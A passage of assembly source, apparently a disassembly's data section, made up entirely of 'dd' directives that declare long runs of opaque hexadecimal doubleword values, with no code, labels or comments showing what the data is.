dd 89F510CBh, 714A978Dh, 0FE7E20EBh, 146774F4h, 0F54030Ah
dd 548020Fh, 1A750404h, 7D192BEh, 0C0EBE64Bh, 0D99C50B2h
dd 8B17E39Dh, 142A0E83h, 848A7D81h, 8C0F8697h, 0D08133E9h
dd 0B5C93408h, 0ED75FB4Ah, 5B72AEBh, 102B4B8h, 0A19F3EEDh
dd 3A58BC3Eh, 7625ADF2h, 0ABC1693Ah, 0A0077AF8h, 25089082h
dd 5669855Eh, 7E5B2581h, 62AF5664h, 3084B583h, 73E60966h
dd 0CC62F4Bh, 0D2C1E295h, 0F6E85A01h, 0E5FC8B97h, 0EBBC2014h
dd 75A46810h, 4366B495h, 964C21D8h, 69ECF7D4h, 4F6653C3h
dd 3CD0F2D0h, 6BD019A1h, 0E421EDDFh, 0B46475E2h, 0B51FF97Eh
dd 869044E2h, 77F0DA4Fh, 0EFD913B7h, 93F5F9EBh, 98C74C68h
dd 0B9539055h, 1D48B283h, 59BB53D8h, 245B1660h, 0FE2F0F07h
dd 0A3565724h, 57239AA2h, 2890883Eh, 8ED2C2F9h, 6375560h
dd 368BC675h, 1E135885h, 33E6D45h, 0B475F43Ah, 3D746C22h
dd 0AA4A3C68h, 9DF59339h, 8F2C174Ch, 0C38B8601h, 687DFF33h
dd 892C7A22h, 2721E75Dh, 0F622221h, 8AF6147h, 7A66B82Ah
dd 14F3E359h, 0D021441Dh, 0F6034EAh, 0A7149608h, 0E6B5F958h
dd 6240B4F9h, 61DD7F04h, 0D651745Ah, 162134FFh, 89400FABh
dd 0FACD74F8h, 45248A27h, 0A58221D7h, 0CC2BAC4Eh, 57A15C74h
dd 5B4A10C4h, 61AA7D58h, 0F7CB9FA7h, 4BA30727h, 0B851DAF0h
dd 8DF92A05h, 130A0826h, 0E2E2C476h, 4FBD2DFh, 0AFC35E38h
dd 1542A5B8h, 84EB75C4h, 75263C81h, 3068DA15h, 68C9A011h
dd 9E48AD28h, 2011A2B0h, 18E24376h, 0A8101015h, 75898D08h
dd 110F08B8h, 7C21A7D1h, 11119ED2h, 0E7F06896h, 0D9C86847h
dd 50EB2A0Fh, 1546D4B8h, 0D0445BC8h, 70975E6Ch, 4217AED7h
dd 0A780EC88h, 2A7844F5h, 54517021h, 0C876421Bh, 78955DB4h
dd 9DACE250h, 0A8A41087h, 9444859Ch, 76F4216Ah, 0E276EC52h
dd 0D81015E4h, 0F291CCA8h, 876AAD53h, 0BA773010h, 0BC772010h
dd 0DC77470Ch, 0F4657715h, 13C58BA5h, 1D8C4F0Ah, 484A8625h
dd 1AB6E8BCh, 0F6FC4920h, 0B089253Fh, 0F7893ABh, 489D8809h
dd 9C1CF5FCh, 0F827A98h, 506747FEh, 0E27585FBh, 1525B5BDh
dd 1A9008DDh, 0C38E7449h, 0AEABF0Fh, 517A845Dh, 45790BAEh
dd 7FAA3275h, 0E62CA659h, 6A53E409h, 49B053B3h, 0BF09D105h
dd 8D31C48Ah, 2C106AB4h, 8648EC4Dh, 5D101AFBh, 0E9104BD4h
dd 4BFE4D1Ah, 0E8D666F9h, 0B72D59C1h, 0C4CA45E9h, 0E5B4FDCCh
dd 72045FEEh, 4D59F40Fh, 94BCF84Bh, 48435E50h, 5ABB8643h
dd 614ADFA2h, 12EC484Fh, 11811E53h, 234F2D53h, 0BD8006F0h
dd 67F2551h, 5CD0CF66h, 3D8B0B13h, 0D6F171CCh, 1D5E353Fh
dd 0D5BBD6C5h, 75F4E8E1h, 0F8186E61h, 139DAA74h, 1FA49219h
dd 9FB6BD6Eh, 9A64140Ah, 0BD58544Eh, 597CDD1Eh, 0D0A43066h
dd 7DDD867Ah, 1ED795ECh, 58B52BCEh, 219C2E26h, 6DF4C428h
dd 5174229Ah, 592F24D4h, 347EC23Bh, 801440D0h, 0A1A05BCh
dd 8848D0Dh, 0C6037587h, 38802000h, 0A1FD860Ah, 0DB2D383Eh
dd 598ABF61h, 0BFA8CC7Ch, 0B5840F93h, 13A706EBh, 250AA045h
dd 84261E3Ch, 112394F2h, 0A89386D1h, 94B9918Dh, 971424B8h
dd 2514A32Dh, 747B1473h, 20A13967h, 37DA0903h, 0A77E008h
dd 103665EBh, 3F79F231h, 2F8AAC90h, 0C2215131h, 0AA6E0F28h
dd 2EC83155h, 62916F4Dh, 0FE1F6974h, 342079D4h, 85370F3Eh
dd 95196407h, 8AD94842h, 11669323h, 0D41B5087h, 0B89B59D1h
dd 945B843Ch, 42574B3h, 0B90B91D3h, 0C2AAD6A5h, 9030FD6Ch
dd 79BD8C02h, 0FB5FE9ECh, 2F5FCB26h, 2CBAD7E3h, 0CB552910h
dd 6C21928Ah, 42A473A4h, 89BE9278h, 0F1813B1Fh, 1C495620h
dd 0FF4A5338h, 0C60255D9h, 0D834576Ch, 34640BFDh, 0C2E75670h
dd 84C4B5D0h, 0EE051202h, 93C40E6Ah, 4D02C8FEh, 8A0EA5D6h
dd 28FED34Ch, 0FD4B7C08h, 12D245B6h, 0A434FF70h, 85C7A10Bh
dd 39875FC8h, 0CCB29A1Bh, 0E7884E6Ah, 0D0E02534h, 0A365D065h
dd 0DC04D16h, 6E3651E6h, 0D47D7AC3h, 916429BAh, 0B940A33Ah
dd 4ADEBA14h, 0D6CDEDA8h, 28124BEAh, 2AAA76C1h, 0B3C6C483h
dd 72FFC4CCh, 0CE261410h, 0D07D2008h, 32D25D31h, 88C80D4h
dd 0D61906D5h, 0F9DC50C9h, 88EE44CCh, 8CB2C21Ch, 2FB9993Ch
dd 999A5704h, 0C5011B0Bh, 96123456h, 35EAEC41h, 0FDF5BAF5h
dd 0BEC5123Fh, 98994AB6h, 0F9A882F4h, 0DD54EB02h, 1C8505DAh
dd 38EB10C0h, 0A2344268h, 0F974A825h, 8558F427h, 22F45589h
dd 9013020Eh, 1FD21ADAh, 70EE280h, 0C75588D1h, 18400568h
dd 50F88690h, 0FA92ACA5h, 0C11375A5h, 82064AFEh, 91553CE8h
dd 3F9EE47Fh, 4C61A838h, 181941BCh, 6AB80E99h, 0B0CBBCC8h
dd 6A36C04Fh, 55135E14h, 0C47099FBh, 6F95C8CAh, 0E84069FCh
dd 3D0342E9h, 11CA7F81h, 0ECE55D52h, 0F88B1E40h, 0A910E7C1h
dd 57E90B0Ah, 0A8631C49h, 0C4FC34Ah, 506B6EFFh, 0D8033977h
dd 56DC208Ch, 88148C0Eh, 10A3905Dh, 92B30691h, 0CD83032h
dd 65988E88h, 238A206Ah, 84AAE94Eh, 0ECAE56ECh, 8422B614h
dd 346A371Dh, 5F9A031Dh, 46FC7732h, 343E12CCh, 12D26042h
dd 0CAF46512h, 46442974h, 0D6B22890h, 49D1A415h, 0C542D0Bh
dd 0C4AF2DA3h, 0D9485B81h, 4501FC17h, 0E4481048h, 3BE8C007h
dd 3C7FC8D0h, 0CA8C2F0Fh, 0E446C77Ch, 73C4131Ch, 28B5442Eh
dd 8F5FB246h, 0CC21510Ch, 0F1271168h, 5B76C928h, 626A5D1Dh
dd 975E7C44h, 0C37F9877h, 0EF5B4A5Fh, 25BF7224h, 0A418AAABh
dd 0ED8B1813h, 9B49BC6Ah, 0D8B4E716h, 9DF87437h, 246729A5h
dd 5318A657h, 2E8D2C39h, 4B043284h, 266990F5h, 6E7C9D94h
dd 976CD4ADh, 0DD99BA58h, 5DFF9AE3h, 0BCE20CF4h, 0A27F1203h
dd 79686AEAh, 0FE440839h, 0CE5B5832h, 3439C6Ch, 9C988902h
dd 7EBC9D4Fh, 4B5F75F1h, 0C2443EDCh, 33477921h, 7D3590EBh
dd 495781DCh, 0D8D9031Ch, 0FB484D2Eh, 3566B8CDh, 0B1FC909Fh
dd 3277C875h, 0CE265723h, 9A6CF411h, 505957FAh, 5ED04D19h
dd 794319DEh, 77689C21h, 3E644D57h, 751493DAh, 7CC86855h
dd 5ECB685Bh, 0C4A5FD67h, 2D1FF914h, 7245D457h, 77978734h
dd 2C4B8293h, 250881A0h, 0C4DCD6FFh, 0BF0A2B46h, 0E9D7F6h
dd 870FD06Fh, 0A3699D94h, 0C68F741Ch, 42500525h, 80D2CE17h
dd 1466D4ABh, 54E752A3h, 7541D15h, 64563D11h, 80415848h
dd 48591D88h, 74885A14h, 2CEB330h, 8E3C1D8h, 0A4B0319h
dd 94D96ACEh, 0EB5B105Ch, 0A5EFA518h, 0A394B8C5h, 78104D1Bh
dd 14116069h, 3C72ED97h, 213C8826h, 0E655113h, 0F94BF038h
dd 2E309AC1h, 88B37591h, 1042986Ah, 28A56815h, 4661FF11h
dd 0AD6C6852h, 0AD85E726h, 6EFF5D28h, 0B65AFEB4h, 0A5AD4C71h
dd 0DA45330Bh, 0E02B2555h, 94A75265h, 61FE4EF5h, 97934C2h
dd 0B8A9E844h, 506518E2h, 0BF758E5Ch, 0DCA766FEh, 0C82D3C6Bh
dd 0F727D1F8h, 0A505E75h, 7B835114h, 1E9144Ah, 0E8A1D548h
dd 1C210E78h, 24222F57h, 5A3C0320h, 92D4B349h, 0B8895CC1h
dd 6CC9CC6Ah, 253CFBBDh, 802477F6h, 618E7572h, 79FAC04Bh
dd 22181157h, 36D0B568h, 0DA13065Ah, 0D6179350h, 248561A9h
dd 8847E67Ah, 2B346DD8h, 0FEC0FA71h, 0BEADBC0Ch, 0D0C843BFh
dd 0CCF25F3h, 0C9C11AF5h, 0D17FEB79h, 2E1C6AF2h, 839928FBh
dd 39DD70BDh, 0E2DADCB8h, 45391D64h, 50407E1Bh, 0E5C8330Ah
dd 330A10B1h, 0C0FE84F6h
dd 1196267Eh, 5D6AD761h, 0F1FCD8D0h, 129DC475h, 44BCFEC1h
dd 2AE12B8h, 0DA7CC086h, 0C27F0FA9h, 21CE3CF5h, 125F79F8h
dd 108C3853h, 74CC6487h, 209682EAh, 0C7EFF35Dh, 24B6E6Ah
dd 97DCD97Eh, 0ED7F4F9Ah, 0FC792D45h, 3775759Ch, 90C7B23Ch
dd 2FD197ACh, 24FCCC42h, 3DAC9B78h, 0C86A4C7Dh, 0FAE465CCh
dd 0DE126099h, 0FFD36CCh, 44EFE027h, 0A328A829h, 0A4089D81h
dd 49A7B80Eh, 0BA6711FEh, 1BFF427Dh, 0CD3C5242h, 39274DA7h
dd 45242972h, 12B2ABF2h, 0A82154B8h, 0F609F1C0h, 0DDA58B7Eh
dd 0D8880AACh, 7875E383h, 0B0CC9243h, 1A7E2ECEh, 0B9A0DA08h
dd 359488D4h, 1BD4EF49h, 0B36BE67Ch, 0A3F09D4Dh, 0B6A1755h
dd 0C9CCA85Eh, 55C57757h, 2BD43EB1h, 4E13F5EEh, 535D5A77h
dd 4F579320h, 4E3C28A3h, 4567CEACh, 7EAC7DBCh, 0EBC4ADE2h
dd 21389EA1h, 5FA55F4Ch, 145E981Ch, 8E85D328h, 1023EC47h
dd 451351AFh, 0EB072770h, 3320C0CCh, 0E70C4F13h, 7AA01796h
dd 0EC88C08Eh, 7FE67059h, 4225983Dh, 0D0BDD98Ch, 0D39D0654h
dd 9DF03A2Bh, 374F6165h, 0C2451E8Bh, 0A192FD3Ch, 0C6A63B2Dh
dd 0E5CD7E38h, 0BF0C2861h, 8D1D8990h, 26A25DB5h, 0E75DDF8Bh
dd 43ACA4CAh, 0B6097406h, 5F51FC4Dh, 3A504C91h, 831E8AB3h
dd 754BC5C6h, 0EB3164D7h, 922E908Dh, 1CB3F85Ch, 0D364222Fh
dd 0A02421B5h, 8E72E01Eh, 3A0EF24Ch, 8B90A70Ch, 0E5BC09E7h
dd 28F8C448h, 0F0048520h, 30C85356h, 13514A32h, 2D2FDAF9h
dd 0FE30255Fh, 0A65F2FA1h, 0FA936F1h, 0AFDFCC21h, 364263BDh
dd 0F41037A5h, 0C8428C74h, 1EE4A1DEh, 0B01B2252h, 3F46CD77h
dd 104A7544h, 0B220729Bh, 85E0B440h, 0E2221091h, 4E612FDh
dd 47E948E8h, 0F075F2EAh, 33D5F132h, 2A31CE4Dh, 50D83AD4h
dd 2D90889h, 0DA656E96h, 0E0F4C0E8h, 0F89087DEh, 1404C4B2h
dd 0F858C048h, 13F2258Bh, 0A808065Dh, 7ADC5F67h, 0D9CC23DCh
dd 6A2D1BD0h, 0F424E451h, 0DFBC3E28h, 0F1EC4376h, 881F57CCh
dd 57E00ADCh, 0DFBC5C34h, 46EA157Dh, 23DFE2F5h, 38F4E4B0h
dd 0BF38627h, 0C63BFC0Bh, 0CC8DEE9h, 0CA881F8h, 84224735h
dd 217E7AF4h, 2046F6F4h, 0C4DAE3A5h, 1C08F733h, 0A2945FDEh
dd 62658858h, 2274FE6Ch, 0A99B01C5h, 0C5C66945h, 3F9A25B0h
dd 0A6371502h, 0FC6C16A2h, 7B146801h, 2C153B3Ah, 6CF8AFFCh
dd 213F8DFEh, 984E54FCh, 597E60ABh, 7869A583h, 3C7A7E87h
dd 0BA86592h, 8619BB26h, 5A9A6006h, 0AC7D8D0Eh, 377C8D89h
dd 82805130h, 847D27DDh, 11885533h, 62088C1Ah, 180C900Eh
dd 21861194h, 9C881698h, 3AA06229h, 0A4EA0729h, 0ABB0463Fh
dd 0ED4668Eh, 0B86706B4h, 2004BC2Eh, 8E171953h, 0C7C304C4h
dd 4D1B133Fh, 0CD558CCh, 0BF48ABD8h, 0D5578B19h, 0E9FCBE39h
dd 7356B50h, 4238C7A1h, 0FCE1C4D2h, 8ECD93EAh, 0CCB9AC2Ah
dd 0BA56728Dh, 35189416h, 3E179967h, 0D8EEF525h, 0C99E3D6Fh
dd 12AB9DB5h, 81A88A3h, 3B9A6837h, 0C3FB9AB9h, 0FEDBF27h
dd 0D266E23Bh, 1A5CA2EFh, 0F1522BD7h, 170CC4E1h, 0EB4B90E9h
dd 8A8DE829h, 0C04F25F4h, 1828E2C1h, 557DB80Bh, 1A321AA5h
dd 0A4B930ACh, 0D931F4Eh, 0C62896DCh, 3004DD0Ch, 124DD443h
dd 169CE027h, 44168BFEh, 76EBB095h, 0E2583968h, 0C3DEB2B9h
dd 2922D5CAh, 0E560120Eh, 9548848Ah, 458883A2h, 12FD5FE5h
dd 0ECE9888Eh, 96C48D69h, 1BE66D6Bh, 0F84D3450h, 0DE6868B1h
dd 7C6BAE69h, 5F81F025h, 349929F8h, 0C15B3840h, 0E2A548E8h
dd 68AB9625h, 44F40C6h, 6888EEE2h, 0DCFDC062h, 406171D1h
dd 0B0890E58h, 31B79C7Fh, 0E42960D1h, 969F70D5h, 733BD9D7h
dd 0BFB392D0h, 0C0586688h, 7C2C88FBh, 10EEED97h, 0FBC0A158h
dd 468C5408h, 0FDC011C4h, 2CFBE4A7h, 9D447BB5h, 94953E5h
dd 7A314E59h, 7EA38575h, 1D7BF4C2h, 0F7E277FAh, 5ED1CD56h
dd 85D4714Ch, 64346EA1h, 0B4F4702Ah, 0BF8DBC03h, 52995340h
dd 906DBE65h, 0B8120A6h, 1311085Dh, 75EF32D0h, 49952E87h
dd 2AAF202h, 7E286A02h, 0CD6E2586h, 79509D25h, 0EDD6962Ch
dd 5D086265h, 58DE6ADAh, 9DD4230h, 662D74DEh, 0C1F008B2h
dd 36508E6h, 0A45A0A2Fh, 5E14E029h, 0B4D916EBh, 0D4B4BDACh
dd 0C06F8319h, 0C248CC22h, 1075E418h, 309F48CEh, 0B506EBE5h
dd 0D4DEB9A9h, 205AEA71h, 2305DB4Fh, 442126E8h, 9A8AD85h
dd 7FB0D868h, 0C1A7CCE7h, 0F500F0EDh, 5C53EB02h, 0AE437E20h
dd 3CEB10A0h, 93E8478Eh, 0F0C811F6h, 68F5387Ch, 0F4438477h
dd 19E3F68Ah, 49C0CE0h, 3754EBF8h, 0F809CCFAh, 0ECB0A020h
dd 0A54EA462h, 0A6311606h, 206A488Dh, 0FFA46B39h, 24B1A256h
dd 0AE3980D9h, 0F8F160C8h, 4242D403h, 7485E133h, 45F1B038h
dd 0F2AD3888h, 0DE523C60h, 0AEB2A445h, 2E22BC23h, 97973C7Ah
dd 0B03B88E0h, 0FDC4235Ch, 427B8488h, 0A615FBC0h, 71C95D6Ch
dd 9255F2E9h, 0C2EC5CE1h, 4614FDC4h, 12914344h, 0ECF37B34h
dd 97BB91D0h, 0BBE134EAh, 0B2C29D52h, 0E1F76BF8h, 9440187Eh
dd 27E9D157h, 2CD83C8Dh, 11A87C9Dh, 0B03B9BF7h, 6D028A0Bh
dd 0A62A5A88h, 8B022308h, 75E681CEh, 0F941A9FAh, 0BFFB5EEDh
dd 0F4EBF884h, 549E5DAAh, 0C9D36F55h, 5389B41Fh, 27BE3F16h
dd 0F40C231h, 9C259C06h, 7C60E26Bh, 0B819FA17h, 93693CCCh
dd 0F15B4BE3h, 24B47F6Ah, 521B96D6h, 73B59758h, 0AAF893C7h
dd 0BF0DDAA7h, 33C0578h, 0DB9709E7h, 221B9A55h, 0E5D845CEh
dd 0A0BE84DDh, 0D2A4BD05h, 8515ACDAh, 0BD58CBA0h, 0AB0DC234h
dd 75849DA8h, 82B4EE59h, 7F9889ECh, 1109FA39h, 0A481A83Bh
dd 6B708C64h, 5045B60Fh, 849D059Eh, 8CFB9C4Bh, 0C2D68D8h
dd 6162F9D9h, 4C13EB18h, 4CF47016h, 4529586h, 63E71382h
dd 0AB0FF412h, 568F5DA8h, 0DE06360Ch, 0F91E10ACh, 0AEC9E162h
dd 0B04E0DEEh, 0B2B8CD23h, 0B8834485h, 40B22EB2h, 72B49D31h
dd 5752B508h, 0BC36B665h, 0B3C02A62h, 1036EC09h, 0C830C447h
dd 2566CC86h, 0B90BE8D3h, 0CE9EE00Ch, 2047DB18h, 8A2B2840h
dd 0CBC0ECCh, 0F0CBBD8Ch, 7DD0B90Ch, 0CCD2A978h, 881DD409h
dd 0D145024Fh, 8CBA053Fh, 6B9A844h, 5F641FB6h, 5ACAA9B8h
dd 7D9814B8h, 55A8C68h, 93582C48h, 7993FF88h, 275DE3C6h
dd 0E4DC060Dh, 1D5ECDEFh, 9F581A67h, 7451C088h, 0B3455712h
dd 51462334h, 849D9868h, 20CACC68h, 0B496D2F5h, 5C578897h
dd 0FC4F04BCh, 18F2D220h, 53FC5D7Eh, 4E544027h, 0D529F816h
dd 0B24CBC2Fh, 58912914h, 14B2EB8h, 89540F57h, 0B20471F2h
dd 0D090235h, 0E92124D4h, 0E0811004h, 742E82C7h, 42EA8C14h
dd 4314D140h, 4C84A02h, 0F27C5F94h, 0C094F4E2h, 915CA7EAh
dd 75543477h, 19B2C285h, 784F573Ch, 7533F4D1h, 58AC861Ah
dd 7E2BEBE9h, 33590F54h, 0A0C6EAFCh, 5B4D8D01h, 4B4BCAECh
dd 1CFCB085h, 0E8B9CD3h, 0C588B08Eh, 0BA1BEB73h, 30E3EEC4h
dd 0C21D208Ah, 41527DF0h, 69BBAC5Ah, 57B793C5h, 0EE5665EFh
dd 0BC4F6B9Eh, 0B6CA5A8Bh, 0B3C4E02Dh, 0A1B579BDh, 7DC489A2h
dd 0BD92EEE7h, 3EE81124h, 0D64C1D42h, 0C5201024h, 0AFA6578Ch
dd 0C53A6B3Dh, 0B5F6ADFFh, 0C857C90h, 2CCD9301h, 0B93B1F6Ah
dd 932274D8h, 591BE5Bh, 262305EBh, 323D3916h, 0F0195280h
dd 0F57CC11h, 80331145h, 7C36538Bh, 847CD242h, 0AC4FD065h
dd 3349799Fh, 0D876AC2Ch
dd 57FC656h, 76CAED5Bh, 72A3660Dh, 0F449A41Bh, 1774058Ch
dd 65A6B701h, 4EC81376h, 0E809978h, 22111379h, 31B77A2Bh
dd 11EE7C3Bh, 4480E1E0h, 88C8FA3Ch, 8A43C850h, 61B257ADh
dd 0E519271h, 6D76284Dh, 86347E46h, 682A2C69h, 57D8085Bh
dd 0DD846915h, 4915573h, 2A88A315h, 52FBF7C2h, 0BCF56AC3h
dd 11DCF254h, 69E74656h, 9F1E9E95h, 0AB49297Eh, 0A7FC1421h
dd 0B7D89193h, 0B98612E8h, 0FB8A4A76h, 0CAAB15Fh, 0F6496921h
dd 71D846A7h, 42497ED3h, 0F12CC9C6h, 0C260EED5h, 4DFF6956h
dd 60682D22h, 18647365h, 0BFA42DCEh, 95931699h, 10CDD56h
dd 17CD452h, 3E3BACEBh, 0C89BD2C5h, 0F0120E47h, 8F2AE6FDh
dd 0DAB31347h, 3B7EB084h, 752B10E2h, 4655FD8Bh, 1CFF976Ch
dd 12129F72h, 0B6479068h, 52EBD495h, 0B595C67Dh, 4C7CEFE2h
dd 0A1EE5769h, 14958C45h, 0AF92C314h, 6A25F8CEh, 5714B275h
dd 75250151h, 0F0BD1810h, 1D8E7EF7h, 0C883050Fh, 5758EBC7h
dd 48705BCFh, 7B8B043Ah, 79EB4D4Ah, 1A4EDE0Fh, 744E118Ch
dd 0C708A0C1h, 0DD049ACFh, 41FC0219h, 2B100796h, 0A685FB2h
dd 98C8958Bh, 0B6749462h, 7E955D50h, 397D27F1h, 0FD2E0CE3h
dd 2558886Fh, 0A696BEF0h, 0C403EC71h, 9CD16B59h, 81A3C7F3h
dd 0CD774CF2h, 0A8D9AF4Eh, 492BE2Dh, 87196A02h, 1EFF04D6h
dd 0D79D89CAh, 43844D63h, 447FEF12h, 2196C7FCh, 22209349h
dd 15707814h, 167C4484h, 80451584h, 88100717h, 508CC435h
dd 0C519031h, 10584394h, 9CC46E98h, 77A03171h, 8743A40Ch
dd 0C489A810h, 0B0318BACh, 21B40C8Fh, 0B80801BBh, 4BC67BDh
dd 99C02004h, 0C4218405h, 0B8C884DCh, 0EACC2006h, 0D010840Ch
dd 0D4820D3Dh, 0D8101388h, 81A420Bh, 421F40DCh, 0F32290E0h
dd 0C528F8ABh, 0EA03E418h, 0B554AB71h, 52FC2293h, 6458E0DAh
dd 252EFF86h, 8D634282h, 0F29105BCh, 5584ED66h, 532E9C08h
dd 9C38F197h, 0B927F485h, 61E4C9CDh, 0C5DF5150h, 41E4016h
dd 46425064h, 909372D1h, 63CB9956h, 0B9E75D39h, 0D45E8CDFh
dd 84891207h, 835E230Dh, 9904C226h, 7C701E3Ah, 9324BF5Eh
dd 0AD25D5AFh, 7EE6BE57h, 9DA3D634h, 0FD9D055Ch, 0E3A19FC0h
dd 8BFB770Ch, 0A5BD2C73h, 0C8FC15EAh, 0BB41DC2Ch, 0AEF04E65h
dd 1AEB1A71h, 0CBBAC345h, 504B71A2h, 59D665A3h, 8F8F689h
dd 127C4F1Ch, 0A02D0543h, 0BEC5DCF1h, 5C634A0h, 564510A0h
dd 1AB2F0B9h, 0E0626A9h, 0AA08A144h, 1B7B6A4Eh, 6678084Fh
dd 0EA1A4A3h, 0A80D8005h, 0C2CD0C13h, 5FA23291h, 28A690C3h
dd 458D750Fh, 0A52E28FEh, 0C1080502h, 8FEBDFE0h, 6EC3BAB4h
dd 0CFA2A470h, 22F1AC84h, 4FBED408h, 881BB0ACh, 5FC11D2Bh
dd 0A853568Ch, 0C6A9ACC2h, 1EF88B88h, 90E7C129h, 0FA031043h
dd 633C5657h, 4514B8A3h, 548C0A0h, 0F24087Dh, 146A60C0h
dd 660EA1A2h, 8CF0AE94h, 1493BC2Bh, 0B6C8A0C6h, 0DC3D15BEh
dd 81E02266h, 0F715E1E3h, 0E2A314CFh, 25A12125h, 0FC89106h
dd 0CC5D0265h, 4ACA3A48h, 5EB0995h, 84392F19h, 562F7514h
dd 4A64699Fh, 0D1A14AB4h, 5DD84A4Fh, 22BC191h, 1FEB0D83h
dd 1011085Eh, 0A3599F91h, 5FCA44Dh, 0C298BA4h, 6A6785B8h
dd 82BE59C2h, 0B1E4BF53h, 748AAC4h, 0E3008AC4h, 0A0BEA5F3h
dd 56929AA5h, 0E85A18B2h, 13D82A6Eh, 122A2982h, 5E1CB427h
dd 0D0681430h, 9F81FB96h, 0C7635FFh, 81C0624Fh, 5F923178h
dd 238C0F13h, 0AC9DDA52h, 0E897527h, 535F1542h, 49010545h
dd 0B880C2F8h, 0E69EBB64h, 7BC6F569h, 2F78C82h, 0D5B8BFC4h
dd 23EDFA7h, 785D1E74h, 0AEE5BFC1h, 3CF0F98h, 0FE810CF7h
dd 7C48E720h, 42EBDF12h, 6953E0C0h, 0C22DA2F6h, 9E4761BCh
dd 66533B42h, 0D117FC8Bh, 0D00C0B73h, 8D3F9F68h, 39B88635h
dd 0DCFA90C4h, 1F902489h, 4294D41Ah, 2067D1F6h, 49DC9D80h
dd 857EF8F8h, 30DBA0E2h, 46188D36h, 68545018h, 0EF4AD3E4h
dd 8E7A6F99h, 3EEE4E86h, 702C2043h, 0BF848CB8h, 70AEB64Fh
dd 56531057h, 0A05C4495h, 8071401Ah, 362F04BBh, 9E1AD94Dh
dd 4DF696BEh, 6BE03B18h, 83288DFCh, 0BF535212h, 0DF2B0C80h
dd 7D08DE3Bh, 33B70FE3h, 112850C3h, 0F84205FAh, 0F610F021h
dd 6F7CF28Bh, 57127F10h, 2F7EE656h, 82521628h, 3A22D14Eh
dd 0BF83D67Ah, 69BBBF9Ch, 94D72370h, 0B858CA04h, 81334783h
dd 42050888h, 9B903D22h, 390BF27Ch, 510244Ch, 48B95195h
dd 0C144681Bh, 4141328h, 68042AA5h, 98BA7F30h, 0C32B5937h
dd 3E10C556h, 31471035h, 9D375CCh, 9D7B12D9h, 0DD5510D9h
dd 5E4BC033h, 0AC75FCE9h, 0CA1C4A9Fh, 458675F4h, 0AA3CA4E4h
dd 5F044E24h, 7FA05539h, 893BA1F8h, 0B8DBE1EAh, 751EB42Bh
dd 74521E24h, 864EB531h, 6968ECE8h, 0EC60FB74h, 1387FEE4h
dd 66D4BE80h, 1AAF8316h, 55731208h, 7E9784A2h, 0ED031700h
dd 865127Bh, 62E76D66h, 527D1E3Bh, 583CB091h, 0EBBA1936h
dd 3C13C6CAh, 7470C268h, 7657521Ah, 5656FC20h, 92B4DF72h
dd 0BFA6DF6Ch, 68419D7Ch, 0AA3C7F58h, 753959B0h, 0D6E0F04Bh
dd 971BA456h, 0E842427Ch, 4B1C1AFEh, 8FAE3FD3h, 5767105Fh
dd 83A96C4Eh, 516EF782h, 422D53BDh, 715F5F74h, 65CCF314h
dd 32BEFA57h, 46F524A3h, 13E19C71h, 0C7D8FA08h, 0A2224B74h
dd 62BE9302h, 3D3357A7h, 67DB0B51h, 2EBB25Fh, 841FDB7Dh
dd 0EB11B4B8h, 6D21C4DBh, 64BD4C92h, 891CE1D1h, 485A7CB0h
dd 4FE054E8h, 14D88B7Ah, 0CFFB8359h, 0BA527517h, 48689988h
dd 0E8E720F4h, 0AF87D08h, 491B571Bh, 0BCF4C9E2h, 38BA53E5h
dd 0C4B4EEBFh, 98682ED4h, 7B75E90Eh, 64533B22h, 4ED6C423h
dd 0A25FF859h, 21B4DDF0h, 0B2154E95h, 0B35A9D23h, 4A345652h
dd 20DA2DF3h, 0A576E777h, 38573270h, 89AD5A8Dh, 6914B8CFh
dd 8A3BBA5h, 58147415h, 3A2EB92h, 32A37585h, 0C5969038h
dd 0C38FC284h, 0F1E577Ah, 490A0438h, 3A04E2BDh, 895BAD40h
dd 0EBEBDF82h, 0FAB098B9h, 0B78FEC5Fh, 0E861C353h, 0BE200A75h
dd 3744B580h, 78C85326h, 69EBD045h, 9716FA81h, 223D032Dh
dd 0D4886451h, 74F89CBAh, 53D07CC8h, 62E43C37h, 0DEB17F39h
dd 464EA5D0h, 0D2B2812Fh, 3B6ACD6Fh, 208586D1h, 9D7A4332h
dd 7045B2DDh, 848A1413h, 3C3A140Dh, 2124E8DAh, 0FC0D415Fh
dd 190309F9h, 4D5C2341h, 84D17C2Dh, 0BA53CD76h, 0F76262CAh
dd 7D3A7FF4h, 49EFC9C4h, 5BE36A32h, 2B66BBD3h, 80B02154h
dd 4114354Ch, 7F2EAE71h, 0B692FC45h, 9DBE7504h, 0F5AEB3BFh
dd 5C0EAF76h, 98820404h, 56394380h, 5DDE1249h, 4385B2CCh
dd 52F1225h, 9EB0C8FCh, 0B805E13Ch, 595037CAh, 9F27FB04h
dd 13971BD2h, 0FB879DB3h, 7F9729E5h, 94444710h, 68AC0D26h
dd 4C0EC380h, 6454B044h, 1CEC9CC6h, 0B8E555E4h, 4EDFCFEBh
dd 754041AAh, 0A35C6818h, 0DF2D916Fh, 72CB2614h, 39EC39C9h
dd 0A265F43Bh, 12BF7FCEh, 814BCAA3h, 0D1C73B20h, 0B35B7E03h
dd 0DFF5DA6Ch, 45906E65h, 0C4D8F784h, 93DFBD2Ch, 0E0BD32EFh
dd 0A67EF519h, 0F7306921h, 148CC196h, 6B88B551h, 0AB61F7B7h
dd 0D5019956h, 571E48F0h, 11161CA6h, 4060F455h, 380FC33Bh
dd 8652AC8Ch, 0A10BA17Eh, 0EC792913h, 8B4453BCh, 5E488AC4h
dd 3DAFAD70h, 3AFFF089h, 7E097F26h, 0ADD29475h, 0B4301090h
dd 0E70E2CD4h, 3A2049B0h
dd 9A4CAA98h, 26144876h, 3B51C1E4h, 74D30FEh, 48EB51B7h
dd 61B1C9C3h, 67DB7BA8h, 0D118BE1Bh, 9EBCA74Bh, 0F65329A4h
dd 18147173h, 0CE2FBD41h, 97F66BC7h, 0D7409163h, 5D5F44BEh
dd 5B65A7F8h, 0BB4B21A8h, 246270CFh, 0FBDDFE5Ch, 0A607A17Ch
dd 4D772774h, 0AE28340Dh, 23428A7h, 4001C8C0h, 7750187h
dd 2E819468h, 5046D004h, 430C5E99h, 0BB28D290h, 50903379h
dd 0BCC59364h, 48FCC2FAh, 924BEC51h, 22297586h, 81446B02h
dd 8DFB3C10h, 4E425789h, 0EB3C2D3Eh, 0D38734F5h, 42E3AF21h
dd 88AFD6h, 7BC88A9Ah, 3E9A3674h, 7B952484h, 54CB0E7Ch
dd 425F7DE9h, 0F4084A60h, 0BEF4E514h, 0CAAF9264h, 98EB156Ch
dd 9688980h, 0D79C7796h, 467E1283h, 62DCF1BDh, 1C3AFE40h
